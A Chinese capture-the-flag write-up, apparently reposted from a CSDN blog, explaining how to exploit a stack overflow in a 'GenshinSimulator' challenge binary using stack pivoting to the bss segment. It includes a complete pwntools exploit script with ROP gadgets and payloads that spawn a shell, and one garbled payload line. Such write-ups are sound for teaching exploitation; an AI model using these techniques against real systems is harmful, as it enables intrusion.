ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2021-05-02

2021-05-03 15:05:52  阅读:297  来源: 互联网

标签:02 addr 05 read bss 地址 2021 payload p64


原神-栈转移

先回忆一下学长上次的解题要点讲解:

  1. 数据在内存中,是没有指定格式的
  2. 一些整型数据,刚好可以对应字符串
  3. 利用已映射的字符串,作为system的参数

如果找不出到题目真正的考点,或者写不出自动抽卡脚本,就只有用栈转移的暴力方法来做了

程序分析

拿到程序,首先checksec检查一下
在这里插入图片描述
No PIE,NO canary,意味着可以少写一点exp
IDA ,F5直接定位到可导致栈溢出的函数:read()
在这里插入图片描述
因为只有NX保护,所以按理说是比较好getshell的,但是此处的read函数,只接受0x58个字符串,再来看看栈中,要达到溢出,至少要0x30个字符,能够利用的,只有40个byte
在这里插入图片描述
如果要用常规方法getshell,payload至少要有占据:

fake_ebp = p64(0xdeadbeef) 
pop_ret = p64(ga_addr) 
sh_addr = p64(bin/sh_addr) 
sys_addr = p64(system_addr) 
ret_addr = p64(read_addr) 

40 byte根本不够用。这个时候,就能利用栈转移在另一个地方重新布置rop链了。具体原理见ctfwiki->Fancy ROP。

实现及exp

这里使用bss段作为栈迁移的地址,为了防止影响其他的数据,所以选择bss + 0x500作为栈转移地址

bss_addr = elf.bss(0x500)

system函数地址:

sys_addr = elf.symbols[“system”]

返回地址:
在这里插入图片描述
一般选择上一个函数结束的位置作为返回地址

payload1 = b'a' * 0x30 + payload = bytes('a' * 0x30,"utf-8") +p64(bss_addr) + p64(read_main)
payload = payload.ljust(0x58,b'b')

附加调试器在发送payload之前观察运行情况

gdb.attach( p )
在这里插入图片描述
可以看到,执行leave指令后,RBP变成了BSS段的地址,ret的返回地址为read_main的地址,而再往下,就会执行到read函数.
在这里插入图片描述
可以看到,再这个地方,read的地址地址参数也变成了bss段的地址,和我们原来的bss段的地址相差E0 - B0 = 0x30,这个地方需要注意一下,后面布栈会用到

栈转移和控制程序执行流都成功一半,再来编写后面的payload,后面的payload主要有:

padding + pop + bss_addr + sys_addr

先放上已经写好的payload的调试执行流程

在这里插入图片描述
可以看到pop rdi的目标RSP指向的是0x6027e0,也就是最开始我们迁移到bss段地址的地方,但是read却把读入的字符串存储到0x6027b0,所以再写第二个payload的时候,要注意加上偏移,才能正确控制执行流,而且要确保padding + pop + bss_addr + sys_addr中,bss_addr的地址,和/bin/sh的地址一致

那么就有了payload2:

payload = b'a'* 48 + b'/bin/sh\x00' + p64(pop_rdi) + p64(bss_addr) + p64(sys_addr)
payload = payload.ljust(0x58,b'b')   

exp:

#调试的时,gdb输入命令set follow-fork-mode parent
from pwn import *
context.log_level = "debug"

p = process("/mnt/c/Users/FALLEN/OneDrive/ctfprac/pwn/Genshin/GenshinSimulator")
elf = ELF("/mnt/c/Users/FALLEN/OneDrive/ctfprac/pwn/Genshin/GenshinSimulator")

bss_addr = elf.bss(0x500)
print(bss_addr)
sys_addr = elf.plt["system"]
read_main = 0x0000000000400C63
pop_rdi=0x400d13 #pop rdi ; ret

p.recv()
p.sendline('3')
p.recv()
p.sendline('1')
p.recv()
#gdb.attach(p)
payload = bytes('a' * 0x30,"utf-8") +p64(bss_addr) + p64(read_main)
payload = payload.ljust(0x58,b'b') #很重要,如果不填充,会影响下次一的数据输入
p.send(payload)
sleep(5)
payload = b'a'* 48 + b'/bin/sh\x00' + p64(pop_rdi) + p64(bss_addr) + p64(sys_addr) #一直填充到0x30,才能添入/bin/sh,应该是
payload = payload.ljust(0x58,b'b')                                                 #read的时候,执行了sub rsp 0x30,而bss_addr对应的地址又刚好是栈中RBP的地址
p.send(payload)
#gdb.attach(p)
p.interactive()

标签:02,addr,05,read,bss,地址,2021,payload,p64
来源: https://blog.csdn.net/qq_36995313/article/details/116336535

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有